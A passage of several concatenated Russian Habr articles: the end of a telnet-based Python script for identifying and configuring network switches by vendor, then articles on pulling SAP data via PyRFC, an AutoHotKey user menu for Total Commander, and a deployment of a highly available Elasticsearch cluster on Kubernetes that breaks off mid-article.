print(host, 'connection refused', file=log)
print('#' * 100, host, file=log)
```
…
Если все хорошо и мы подключились, то нам требуется ввести логин и пароль,
мы точно знаем, что в любом приглашении для входа используется двоеточие.
Значит ждем его
```
tn.read_until(b':')
```
После вводим логин
```
tn.write((user +'\n').encode('ascii'))
```
Ждем двоеточие от password
```
tn.read_until(b':')
```
Вводим пароль
```
tn.write((password + '\n').encode('ascii'))
```
И ждем 3 секунды (передышка, а то столько работы проделали)
```
time.sleep(3)
```
После ждем приглашения
```
tn.read_until(b'#',timeout=20)
```
Вот на данном этапе мы переходим ко второму уровню по проверке вендора.
```
if vend == 0:# предположительно что это Qtech
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=verinfo)
verinfo.close()
who_is()
```
Т.к. мы предположили, что попали на Qtech, а если Вы внимательно читали, то в нашем зоопарке есть две версии qtech, которые отличаются по синтаксису нам нужно еще провести сверку.
Следовательно мы даем команду show ver, заносим весь вывод в файл ver.txt
и вызываем процедуру who\_is(), которую я описал выше. Команда show ver универсальна для всех Qtech, Raisecom, Eltex,
К сожалению, D-link не понимает и ему нужно сказать show swich, но мы же умные и не зря ввели итерацию с предположительным определением вендора.
```
if vend == 3:#предположительно что это D-link
tn.write(('show sw' + '\n').encode('ascii'))
tn.write(('a' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=verinfo)
verinfo.close()
who_is()
```
Так сразу небольшая ремарка после ввода show swich коммутатор выводит не полную информацию и ждет от пользователя нажатие на любую клавишу для дальнейшего вывода и поэтому мы следом посылаем символ «a» для вывода полной информации.
```
tn.write(('a' + '\n').encode('ascii'))
```
Чтобы этим не заниматься, можно выключить clipadding
Вот на этом этапе и заканчивается проверка вендора и с 99% вероятностью можно предположить, что мы верно определили модель коммутатора и можно приступить к конфигурации.
Для каждого коммутатора мы имеем отдельный файл с набором команд.
**Блок конфигурации**
```
...
elif ver_status == 'qtech_rev_1.0':
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
counter_qtech1_0+=1
komand_qtech1_0=open('servers_&_log/komand_qtech_ver1.0.txt')
for kommand in komand_qtech1_0.readlines():
tn.write((kommand.replace('\n', '') + '\n').encode('ascii'))
tn.write(('exit' + '\n').encode('ascii'))
print(tn.read_all().decode('ascii'), file=log)
print('после обработки команд qtech1.0')
print('Qtech rev1.0 ' + host, file=log)
print('#' * 100, file=log)
################################################################################
elif ver_status == 'qtech_rev_2.0':
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
counter_qtech2_0+=1
komand_qtech2_0=open('servers_&_log/komand_qtech_ver2.0.txt')
print('После открытия файла qtech2.0')
for kommand in komand_qtech2_0.readlines():
tn.write((kommand.replace('\n', '') + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
print('Qtech rev2.0 ' + host, file=log)
print('#' * 100, file=log)
...
```
После того, как функция отработала и вернула переменную ver\_status, мы можем продолжать дальнейшую работу с ветвлением, т.к. мы точно знаем какой коммутатор сейчас на линии.
В первую очередь даем коммутатору команду show ver и записываем вывод в лог(про d-link помним ему даем команду sh sw)
```
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
```
Обязательно ведем счетчики для выявлений несоответствий.
```
counter_qtech1_0+=1
```
Открываем файл с командами
```
komand_qtech1_0=open('servers_&_log/komand_qtech_ver1.0.txt')
```
Обязательно порядок команд в файле должен быть таким, как бы их вводил администратор вручную
Пример:
`conf
vlan 2525
name SPD
int ethe 1/1
sw mode access
sw acc vl 2525
exit
exit
save
y`
Дальше всё по сценарию — читаем файл до тех пор, пока не закончатся строки и их выполняем
```
for kommand in komand_qtech1_0.readlines():
tn.write((kommand.replace('\n', '') + '\n').encode('ascii'))
```
После выхода из цикла говорим коммутатору exit и читаем весь вывод в файл, и так делаем только с qtech1.0, т.к. порой бывает скрипт залипает в ожидании чего-то и именно с этим коммутатором, чтобы не городить лишнего данное решение показалось мне более изящным.
После того, как была произведена конфигурация коммутатора, общий счетчик увеличиваем на единицу.
```
counter_komm+=1
```
И начинаем все сначала, считываем следующую строку из файла с коммутаторами, определяем модель, производим конфигурацию.
После выхода из главного цикла нужно произвести итог о проделанной работе,
в конце лога вписываем все модели которые мы обработали и обязательно дату, ну как же без нее.
```
print('\n\n\nИтого обработано: ', counter_komm,file=log)
print('\n\nD-link:', counter_dlink,'\nQtech ver1.0:', counter_qtech1_0,'\nROS:', counter_ROS,'\nRaisecom:',counter_raisecom,'\nEltex:', counter_eltex,'\nQtech ver2.0 :', counter_qtech2_0,file=log)
print('\nДата: ', datetime.datetime.now().isoformat(),'\n', '#'*100,'\n\n\n\n\n',file=log)
verinfo.close()
log.close()
```
Данный скрипт многократно перерабатывался и процесс на этом не будет остановлен.
Всем спасибо за внимание. Конструктивная критика приветствуется.
Весь код под спойлером.
**Исходник**
```
#!/usr/bin/python3
#22/06/2017 17:17
import telnetlib
import time
import os
import sys
import getpass
import pexpect
from telnetlib import Telnet
import datetime
import subprocess
def who_is(): # проверяем точно ли тот вендор, который мы предположили на начальном этапе.
global ver_status
global sab_versus
global versus
sab_versus=''
ver_status=''
versus=''
a = 'Serial No.:1405' # #qtech rev1
#b = 'Serial No.:3922' # #qtech rev2
#c = 'Serial No.:5436' # #qtech rev2
#l = 'Serial No.:16101' # #qtech rev2
d = 'Command: show switch' # #d-link
f = 'Raisecom Operating System Software' # #raisecom
h = 'QOS' # #raisecom-qtech
j = 'MES1124M' # #eltex
k = 'eltex' # #eltex
n = 'Build245' #qtech2.0
parser=open('servers_&_log/ver.txt', 'r')
for line in parser.readlines():
line1 = line.find(a)
#line2 = line.find(b)
#line3 = line.find(c)
line4 = line.find(d)
line5 = line.find(f)
line6 = line.find(h)
line7 = line.find(j)
line8 = line.find(k)
#line9 = line.find(l)
line10 = line.find(n)
if line1 != -1:
ver_status='qtech_rev_1.0'
#if line2 != -1 or line3 != -1 or line9 !=-1:
#ver_status='qtech_rev_2.0'
if line4 != -1:
ver_status='d-link'
if line5 != -1:
ver_status='raisecom'
if line6 != -1:
ver_status='raisecom-qtech'
sab_versus=1
if line7 !=-1:
ver_status='eltex'
if line8 !=-1:
ver_status='eltex'
if line10 != -1:
ver_status = 'qtech_rev_2.0'
time.sleep(0.1)
parser.close()
os.remove('servers_&_log/ver.txt')
return ver_status,sab_versus
user='user'
password='password'
komm=open('servers_&_log/komm.txt')
log=open('servers_&_log/log.txt','a')
counter_komm=0
counter_dlink=0
counter_qtech=0
counter_eltex=0
counter_raisecom=0
counter_ROS=0 #гибрид
counter_qtech1_0=0
counter_qtech2_0=0
for host in komm.readlines():
print('connect....',host)
vend = ''
#tn = Telnet(host.replace('\n', ''), 23, 20)
response = os.system('ping -c 1 ' + host)
verinfo = open('servers_&_log/ver.txt', 'w')
ver_status = ''
sab_versus = ''
if response == 0:
telnet = pexpect.spawn('telnet ' + host,timeout=40)
vend = telnet.expect(['login:', 'Login:', 'User Name:', 'Username'])
telnet.close()
tn = Telnet(host.replace('\n', ''), 23,30)
try:
print('Ok'+'\n')
tn.read_until(b':')
tn.write((user +'\n').encode('ascii'))
tn.read_until(b':')
tn.write((password + '\n').encode('ascii'))
time.sleep(3)
tn.read_until(b'#',timeout=20)
except:
print('connection refused' + '\n')
f = open('servers_&_log/log.txt', 'a')
print(host, 'connection refused', file=log)
print('#' * 100, host, file=log)
###БЛОК ОПРЕДЕЛЕНИЯ ВЕНДОРА
################################################################################
if vend == 0:# предположительно что это Qtech
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=verinfo)
verinfo.close()
who_is()
################################################################################
if vend == 1: #предположительно что это Raisecom,Raisecom-Qtech
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=verinfo)
verinfo.close()
who_is()
################################################################################
if vend == 2:#предположительно что это Eltex
tn.write(('show system' + '\n').encode('ascii'))
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=verinfo)
verinfo.close()
who_is()
################################################################################
if vend == 3:#предположительно что это D-link
tn.write(('show sw' + '\n').encode('ascii'))
tn.write(('a' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=verinfo)
verinfo.close()
who_is()
#
###БЛОГ КОНФИГУРИРОВАНИЯ
#
################################################################################
if ver_status == 'd-link':
tn.read_until(b'#', timeout=20)
tn.write(('show sw' + '\n').encode('ascii'))
tn.write(('a' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
print('D-link ' + host,file=log)
print('#'*100,file=log)
counter_dlink+=1
################################################################################
elif ver_status == 'qtech_rev_1.0':
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
counter_qtech1_0+=1
komand_qtech1_0=open('servers_&_log/komand_qtech_ver1.0.txt')
for kommand in komand_qtech1_0.readlines():
tn.write((kommand.replace('\n', '') + '\n').encode('ascii'))
#print((tn.read_until(b'#').decode('ascii')), file=log)
tn.write(('exit' + '\n').encode('ascii'))
print(tn.read_all().decode('ascii'), file=log)
print('Qtech rev1.0 ' + host, file=log)
print('#' * 100, file=log)
################################################################################
elif ver_status == 'qtech_rev_2.0':
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
counter_qtech2_0+=1
komand_qtech2_0=open('servers_&_log/komand_qtech_ver2.0.txt')
for kommand in komand_qtech2_0.readlines():
tn.write((kommand.replace('\n', '') + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
time.sleep(1)
print('Qtech rev2.0 ' + host, file=log)
print('#' * 100, file=log)
################################################################################
elif ver_status == 'raisecom-qtech':
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
raisecom_command = open('servers_&_log/komand_raisecom.txt')
for komand in raisecom_command.readlines():
tn.write((komand.replace('\n', '') + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
print('ROS '+ host,file=log)
print('#'*100,file=log)
counter_ROS+=1
################################################################################
elif ver_status == 'raisecom':
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
counter_raisecom+=1
raisecom_command = open('servers_&_log/komand_raisecom.txt')
for komand in raisecom_command.readlines():
tn.write((komand.replace('\n', '') + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
print(host, ':', 'RAISECOM', file=log)
print('#' * 100, host, file=log)
################################################################################
elif ver_status == 'eltex':
tn.write(('show ver' + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
eltex_command=open('servers_&_log/komand_eltex.txt')
for komand in eltex_command.readlines():
tn.write((komand.replace('\n', '') + '\n').encode('ascii'))
print((tn.read_until(b'#').decode('ascii')), file=log)
print('Eltex ' + host, file=log)
print('#' * 100, file=log)
counter_eltex+=1
else:
print('no ping')
counter_komm+=1
print('\n\n\nИтого обработано: ', counter_komm,file=log)
print('\n\nD-link:', counter_dlink,'\nQtech ver1.0:', counter_qtech1_0,'\nROS:', counter_ROS,'\nRaisecom:',counter_raisecom,'\nEltex:', counter_eltex,'\nQtech ver2.0 :', counter_qtech2_0,file=log)
print('\nДата: ', datetime.datetime.now().isoformat(),'\n', '#'*100,'\n\n\n\n\n',file=log)
verinfo.close()
log.close()
``` | https://habr.com/ru/post/415453/ | null | ru | null |
# Выгрузка данных из SAP через RFC на Python
Поговорим о выгрузке данных из SAP ERP или S/4 HANA с использованием механизма SAP RFC.
Такая выгрузка может служить для наполнения аналитического хранилища данных или для интеграции с другой системой.
Интерфейс SAP RFC (remote function call) позволяет вызывать различные функции SAP из стороннего приложения.
Преимущества этого интерфейса:
* прямое и быстрое подключение с SAP.
* возможность менять параметры запроса, запрашивая данные частями.
* отсутствие промежуточных звеньев в обмене данными и, как следствие, высокая надежность.
Установка
---------
Для работы через RFC вам потребуется установить следующее:
* Библиотека PyRFC <https://github.com/SAP/PyRFC> *pip install pynwrfc*
* Библиотека SAP NW RFC для вашей платформы, скачанный с <https://support.sap.com> (нужен акаунт SAP).
* Установить переменную окружения, указав каталог с библиотекой SAP NW RFC: *SAPNWRFC\_HOME=C:\NWRFC\nwrfcsdk\*
Поиск уже имеющихся в системе функций
-------------------------------------
В системе SAP можно поискать уже готовые функциональные модули*.*
Сделать это можно следующим образом:
1. Запустить транзакцию SE16 (просмотр таблиц).
2. Указать имя таблицы TFDIR.
3. Задать фильтры для поиска:
* FUNCNAME=\*MATERIAL\* (задать маску поиска)
* FMODE=R (возможность вызова функции через механизм RFC)
Чтение таблиц через RFC\_READ\_TABLE
------------------------------------
RFC\_READ\_TABLE позволяет выгружать данные из таблицы SAP, ограничивая выборку фильтрами.
Несмотря на то, что SAP позиционирует эту функцию как тестовую и не предназначенную для использования в продуктивной среде, она вполне работоспособна.
Следует сказать, что RFC\_READ\_TABLE часто неудобна, т.к. она позволяет читать только одну таблицу (не поддерживает JOIN).
В этой статье я не буду подробно описывать работу с этой функцией, т.к. в интернете существует множество примеров ее использования. Вместо этого приведу пример вызова функции стандартной функции BAPI\_MATERIAL\_GETLIST, выдающий список материалов по заданным критериям поиска.
Просмотр функции через SE37
---------------------------
Входные и выходные параметры функции можно просмотреть с использованием транзакции SE37.
Параметры вызова функции присутствуют на следующих вкладках:
* Importing - входные параметры простого типа (не табличные)
* Exporting - выходные параметры простого типа
* Tables - как входные, так и выходные параметры в виде таблиц
Рассмотрим использование SE37 на примере BAPI\_MATERIAL\_GETLIST.
Для того, чтобы посмотреть состав полей таблиц нужно дважды кликнуть на поле с типом данных.
SE37 - вкладка TablesПросмотр полей таблицыЭта функция выдает не слишком много полезных данных: Номер материала и описание.
Другие таблицы нужны для передачи на вход параметров выборки.
Например поиск по коду материала (MATNRSELECTION):
Таблица входных значенийПодключаемся к SAP
------------------
Подключение к SAP с использованием библиотеки **pyrfc** делается не сложно. (Настройки подключения можно посмотреть в SAP GUI.)
Код на Python:
`import pandas as pd`
`import os`
`import pyrfc`
`conn = pyrfc.Connection(user='', passwd='',`
`mshost='111.111.11.11', msserv='3600', sysid='010',`
`group='NN', saprouter='', lang='EN',client='')`
Вызываем необходимую функцию
----------------------------
Рассмотрим вызов функции на примере BAPI\_MATERIAL\_GETLIST.
Сначала зададим входные параметры.
В данном случае для каждого параметра в таблице будет по одной строке.
Строка таблицы задается как python dictionary, а вся таблица задается как list, состоящий из строк.
В нашем примере укажем фильтр на код материала: '' (т.е. все значения), а также укажем значение для Plant.
Для выборки используем SIGN="I" (Includes),
Варианты для OPTION:
* EQ Equal
* BT Between (требует задать значение для для LOW и HIGH)
* LE Less Equal
* GE Greater Equal
* CP Contains Pattern
`matnrselection = [{'SIGN':'I', 'OPTION':'CP', 'MATNR_LOW':''}]`
`plantselection = [{'SIGN':'I', 'OPTION':'EQ', 'PLANT_LOW':'NNNN'}]`
Далее вызываем функцию с этими параметрами.
`result = conn.call('BAPI_MATERIAL_GETLIST',`
`MATNRSELECTION = matnrselection, PLANTSELECTION = plantselection)`
Преобразуем результат в DataFrame
---------------------------------
DataFrame можно получить в одну строку:
`df = pd.DataFrame(result['MATNRLIST'])`
Где MATNRLIST, это имя результирующей таблицы, указанное в разделе Tables.
*Итак, с помощью буквально нескольких строк кода, мы получили данные из SAP в DataFrame и можем дальше работать с этими данным используя все возможности языка Python.* | https://habr.com/ru/post/542346/ | null | ru | null |
# Total Commander + AutoHotKey: Меню пользователя
Помните Norton Commander и его возможность создания меню пользователя?
Реализуем подобное для TC на AutoHotKey.
Создаём файл DirMenu.ahk, внутри которого вызываем меню с несколькими действиями:
`Menu, MyMenu, Add, Набрать заметку, mp1
Menu, MyMenu, Add, заглушка, mp2
Menu, MyMenu, Add ; Add a separator line.
Menu, MyMenu, Add, Закрыть, mp3
Menu, MyMenu, Show
return
mp1:
FileName = Заметка'%A_Now%.txt
FileAppend, %A_YYYY%.%A_MM%.%A_DD% %A_Hour%:%A_Min%`n, %FileName%
Run, notepad %FileName%
WinWait, Безымянный - Блокнот
Send, ^{END}
WinWaitClose
return
mp2:
MsgBox Заглушка
return
mp3:
return`
DirMenu.ahk размещаем в папке, в которой нам нужен описанный в скрипте набор действий.
Вызов скрипта в TC настраиваем из меню «Запуск»
(
Команда D:\Run\AutoHotkey\AutoHotkey.exe
Параметр %PDirMenu.ahk
)
настроив хоткей в конфигурации (F9=cm\_UserMenu3).
Теперь для этой папки по F9 можно вызвать меню пользователя! | https://habr.com/ru/post/52400/ | null | ru | null |
# Высокодоступный и масштабируемый Elasticsearch в Kubernetes
В [предыдущем посте](https://medium.com/@thakur.vaibhav23/scaling-mongodb-on-kubernetes-32e446c16b82) мы масштабировали набор реплик MongoDB и познакомились со StatefulSet. Сейчас мы займемся оркестрацией кластера высокой доступности Elasticsearch (с другими мастер-нодами, нодами данных и клиентскими нодами) и задействуем ES-HQ и Kibana.
### Вам понадобятся:
1. Базовое представление об Elasticsearch, его типах нод и их ролях.
2. Работающий кластер Kubernetes как минимум с тремя нодами (не меньше четырех ядер, 4 ГБ).
3. Умение работать с Kibana.
### Архитектура развертывания
* **Поды на нодах данных** Elasticsearch развертываются как **StatefulSet** с headless сервисом, чтобы у нас были **стабильные идентификаторы сети**.
* **Поды на мастернодах** Elasticsearch развертываются как **ReplicaSet** с headless-сервисом. Это нужно для **автообнаружения**.
* **Поды на клиентских нодах** Elasticsearch развертываются как **ReplicaSet** с внутренним сервисом, чтобы можно было отправлять **запросы на чтение/запись** к нодам данных.
* **Поды Kibana и ElasticHQ** развертываются как ReplicaSet с сервисами, которые доступны **за пределами кластера Kubernetes**, но при этом находятся **внутри подсети** (не открываются наружу без необходимости).
* **HPA (Horizonal Pod Autoscaler)** развертывается для **клиентских нод** и отвечает за горизонтальное автомасштабирование при высокой нагрузке.
"Не забудьте настроить для среды:
1. Переменную **ES\_JAVA\_OPTS**.
2. Переменную **CLUSTER\_NAME**.
3. Переменную **NUMBER\_OF\_MASTERS** для деплоя мастеров, чтобы избежать ситуации split-brain. Если у нас 3 мастера, указываем 2.
4. Правила **anti-affinity** для схожих подов, чтобы гарантировать высокую надежность, если отвалится рабочая нода.
"
Развернем-ка эти сервисы в кластере GKE.
```
kind: Namespace
metadata:
name: elasticsearch
---
apiVersion: apps/v1beta1
kind: Deployment
metadata:
name: es-master
namespace: elasticsearch
labels:
component: elasticsearch
role: master
spec:
replicas: 3
template:
metadata:
labels:
component: elasticsearch
role: master
spec:
affinity:
podAntiAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- weight: 100
podAffinityTerm:
labelSelector:
matchExpressions:
- key: role
operator: In
values:
- master
topologyKey: kubernetes.io/hostname
initContainers:
- name: init-sysctl
image: busybox:1.27.2
command:
- sysctl
- -w
- vm.max_map_count=262144
securityContext:
privileged: true
containers:
- name: es-master
image: quay.io/pires/docker-elasticsearch-kubernetes:6.2.4
env:
- name: NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
- name: NODE_NAME
valueFrom:
fieldRef:
fieldPath: metadata.name
- name: CLUSTER_NAME
value: my-es
- name: NUMBER_OF_MASTERS
value: "2"
- name: NODE_MASTER
value: "true"
- name: NODE_INGEST
value: "false"
- name: NODE_DATA
value: "false"
- name: HTTP_ENABLE
value: "false"
- name: ES_JAVA_OPTS
value: -Xms256m -Xmx256m
- name: PROCESSORS
valueFrom:
resourceFieldRef:
resource: limits.cpu
resources:
limits:
cpu: 2
ports:
- containerPort: 9300
name: transport
volumeMounts:
- name: storage
mountPath: /data
volumes:
- emptyDir:
medium: ""
name: "storage"
---
apiVersion: v1
kind: Service
metadata:
name: elasticsearch-discovery
namespace: elasticsearch
labels:
component: elasticsearch
role: master
spec:
selector:
component: elasticsearch
role: master
ports:
- name: transport
port: 9300
protocol: TCP
clusterIP: None
view rawes-master.yml hosted with love by GitHub
```
(Деплой и headless-сервис для мастер-нод)
```
root$ kubectl -n elasticsearch get all
NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE
deploy/es-master 3 3 3 3 32s
NAME DESIRED CURRENT READY AGE
rs/es-master-594b58b86c 3 3 3 31s
NAME READY STATUS RESTARTS AGE
po/es-master-594b58b86c-9jkj2 1/1 Running 0 31s
po/es-master-594b58b86c-bj7g7 1/1 Running 0 31s
po/es-master-594b58b86c-lfpps 1/1 Running 0 31s
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
svc/elasticsearch-discovery ClusterIP None 9300/TCP 31s
```
Интересно изучить логи подов на мастер-нодах и посмотреть, как выбирается среди них мастер сейчас и как это будет потом, когда мы добавим новые ноды данных и клиентские ноды.
```
root$ kubectl -n elasticsearch logs -f po/es-master-594b58b86c-9jkj2 | grep ClusterApplierService
[2018-10-21T07:41:54,958][INFO ][o.e.c.s.ClusterApplierService] [es-master-594b58b86c-9jkj2] detected_master {es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300}, added {{es-master-594b58b86c-lfpps}{wZQmXr5fSfWisCpOHBhaMg}{50jGPeKLSpO9RU_HhnVJCA}{10.9.124.81}{10.9.124.81:9300},{es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300},}, reason: apply cluster state (from master [master {es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300} committed version [3]])
```
Здесь видно, что под es-master с именем **es-master-594b58b86c-bj7g7** выбран мастером, а остальные два пода добавлены к нему и друг к другу.
headless сервис **elasticsearch-discovery** по умолчанию устанавливается в образе Docker как переменная среды и служит для обнаружения в нодах. Эту настройку при желании можно заменить.
Точно так же мы развертываем **ноды данных** и **клиентские ноды**. Конфигурации смотрите ниже.
### Деплой нод данных:
```
kind: Namespace
metadata:
name: elasticsearch
---
apiVersion: storage.k8s.io/v1beta1
kind: StorageClass
metadata:
name: fast
provisioner: kubernetes.io/gce-pd
parameters:
type: pd-ssd
fsType: xfs
allowVolumeExpansion: true
---
apiVersion: apps/v1beta1
kind: StatefulSet
metadata:
name: es-data
namespace: elasticsearch
labels:
component: elasticsearch
role: data
spec:
serviceName: elasticsearch-data
replicas: 3
template:
metadata:
labels:
component: elasticsearch
role: data
spec:
affinity:
podAntiAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- weight: 100
podAffinityTerm:
labelSelector:
matchExpressions:
- key: role
operator: In
values:
- data
topologyKey: kubernetes.io/hostname
initContainers:
- name: init-sysctl
image: busybox:1.27.2
command:
- sysctl
- -w
- vm.max_map_count=262144
securityContext:
privileged: true
containers:
- name: es-data
image: quay.io/pires/docker-elasticsearch-kubernetes:6.2.4
env:
- name: NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
- name: NODE_NAME
valueFrom:
fieldRef:
fieldPath: metadata.name
- name: CLUSTER_NAME
value: my-es
- name: NODE_MASTER
value: "false"
- name: NODE_INGEST
value: "false"
- name: HTTP_ENABLE
value: "false"
- name: ES_JAVA_OPTS
value: -Xms256m -Xmx256m
- name: PROCESSORS
valueFrom:
resourceFieldRef:
resource: limits.cpu
resources:
limits:
cpu: 2
ports:
- containerPort: 9300
name: transport
volumeMounts:
- name: storage
mountPath: /data
volumeClaimTemplates:
- metadata:
name: storage
annotations:
volume.beta.kubernetes.io/storage-class: "fast"
spec:
accessModes: [ "ReadWriteOnce" ]
storageClassName: fast
resources:
requests:
storage: 10Gi
---
apiVersion: v1
kind: Service
metadata:
name: elasticsearch-data
namespace: elasticsearch
labels:
component: elasticsearch
role: data
spec:
ports:
- port: 9300
name: transport
clusterIP: None
selector:
component: elasticsearch
role: data
view rawes-data.yml hosted with love by GitHub
```
(StatefulSet и headless сервис для нод данных)
headless сервис на нодах данных выдает нодам **стабильные идентификаторы сети** и помогает **передавать данные** между нодами.
Важно **отформатировать постоянный том**, прежде чем привязывать его к поду. Просто укажите тип тома, когда создаете класс хранилища. Еще можно задать параметр, **разрешающий автомтическое расширение тома**. Подробности читайте [здесь](https://kubernetes.io/blog/2018/07/12/resizing-persistent-volumes-using-kubernetes/).
```
parameters:
type: pd-ssd
fsType: xfs
allowVolumeExpansion: true
...
```
### Деплой клиентских нод:
```
kind: Namespace
metadata:
name: elasticsearch
---
apiVersion: apps/v1beta1
kind: Deployment
metadata:
name: es-client
namespace: elasticsearch
labels:
component: elasticsearch
role: client
spec:
replicas: 2
template:
metadata:
labels:
component: elasticsearch
role: client
spec:
affinity:
podAntiAffinity:
preferredDuringSchedulingIgnoredDuringExecution:
- weight: 100
podAffinityTerm:
labelSelector:
matchExpressions:
- key: role
operator: In
values:
- client
topologyKey: kubernetes.io/hostname
initContainers:
- name: init-sysctl
image: busybox:1.27.2
command:
- sysctl
- -w
- vm.max_map_count=262144
securityContext:
privileged: true
containers:
- name: es-client
image: quay.io/pires/docker-elasticsearch-kubernetes:6.2.4
env:
- name: NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
- name: NODE_NAME
valueFrom:
fieldRef:
fieldPath: metadata.name
- name: CLUSTER_NAME
value: my-es
- name: NODE_MASTER
value: "false"
- name: NODE_DATA
value: "false"
- name: HTTP_ENABLE
value: "true"
- name: ES_JAVA_OPTS
value: -Xms256m -Xmx256m
- name: NETWORK_HOST
value: _site_,_lo_
- name: PROCESSORS
valueFrom:
resourceFieldRef:
resource: limits.cpu
resources:
limits:
cpu: 1
ports:
- containerPort: 9200
name: http
- containerPort: 9300
name: transport
volumeMounts:
- name: storage
mountPath: /data
volumes:
- emptyDir:
medium: ""
name: storage
---
apiVersion: v1
kind: Service
metadata:
name: elasticsearch
namespace: elasticsearch
annotations:
cloud.google.com/load-balancer-type: Internal
labels:
component: elasticsearch
role: client
spec:
selector:
component: elasticsearch
role: client
ports:
- name: http
port: 9200
type: LoadBalancer
view rawes-client.yml hosted with love by GitHub
```
(Деплой и внешний сервис для клиентских нод)
Развернутый здесь сервис открывает доступ к кластеру ES снаружи кластера Kubernetes, но все равно находится внутри подсети. За это отвечает аннотация **cloud.google.com/load-balancer-type: Internal**.
Но если приложение, которое обращается к кластеру ES для чтения и записи, развернуть внутри кластера, то доступ к сервису ElasticSearch можно получить по адресу <http://elasticsearch.elasticsearch:9200>.
Когда вы развернете ноды данных и клиентские ноды, они добавятся в кластер автоматически. (Ищите мастер-под в логах)
```
root$ kubectl -n elasticsearch get pods -l role=data
NAME READY STATUS RESTARTS AGE
es-data-0 1/1 Running 0 48s
es-data-1 1/1 Running 0 28s
--------------------------------------------------------------------
root$ kubectl apply -f es-client.yml
root$ kubectl -n elasticsearch get pods -l role=client
NAME READY STATUS RESTARTS AGE
es-client-69b84b46d8-kr7j4 1/1 Running 0 47s
es-client-69b84b46d8-v5pj2 1/1 Running 0 47s
--------------------------------------------------------------------
root$ kubectl -n elasticsearch get all
NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE
deploy/es-client 2 2 2 2 1m
deploy/es-master 3 3 3 3 9m
NAME DESIRED CURRENT READY AGE
rs/es-client-69b84b46d8 2 2 2 1m
rs/es-master-594b58b86c 3 3 3 9m
NAME DESIRED CURRENT AGE
statefulsets/es-data 2 2 3m
NAME READY STATUS RESTARTS AGE
po/es-client-69b84b46d8-kr7j4 1/1 Running 0 1m
po/es-client-69b84b46d8-v5pj2 1/1 Running 0 1m
po/es-data-0 1/1 Running 0 3m
po/es-data-1 1/1 Running 0 3m
po/es-master-594b58b86c-9jkj2 1/1 Running 0 9m
po/es-master-594b58b86c-bj7g7 1/1 Running 0 9m
po/es-master-594b58b86c-lfpps 1/1 Running 0 9m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
svc/elasticsearch LoadBalancer 10.9.121.160 10.9.120.8 9200:32310/TCP 1m
svc/elasticsearch-data ClusterIP None 9300/TCP 3m
svc/elasticsearch-discovery ClusterIP None 9300/TCP 9m
--------------------------------------------------------------------
#Check logs of es-master leader pod
root$ kubectl -n elasticsearch logs po/es-master-594b58b86c-bj7g7 | grep ClusterApplierService
[2018-10-21T07:41:53,731][INFO ][o.e.c.s.ClusterApplierService] [es-master-594b58b86c-bj7g7] new\_master {es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300}, added {{es-master-594b58b86c-lfpps}{wZQmXr5fSfWisCpOHBhaMg}{50jGPeKLSpO9RU\_HhnVJCA}{10.9.124.81}{10.9.124.81:9300},}, reason: apply cluster state (from master [master {es-master-594b58b86c-bj7g7}{1aFT97hQQ7yiaBc2CYShBA}{Q3QzlaG3QGazOwtUl7N75Q}{10.9.126.87}{10.9.126.87:9300} committed version [1] source [zen-disco-elected-as-master ([1] nodes joined)[{es-master-594b58b86c-lfpps}{wZQmXr5fSfWisCpOHBhaMg}{50jGPeKLSpO9RU\_HhnVJCA}{10.9.124.81}{10.9.124.81:9300}]]])
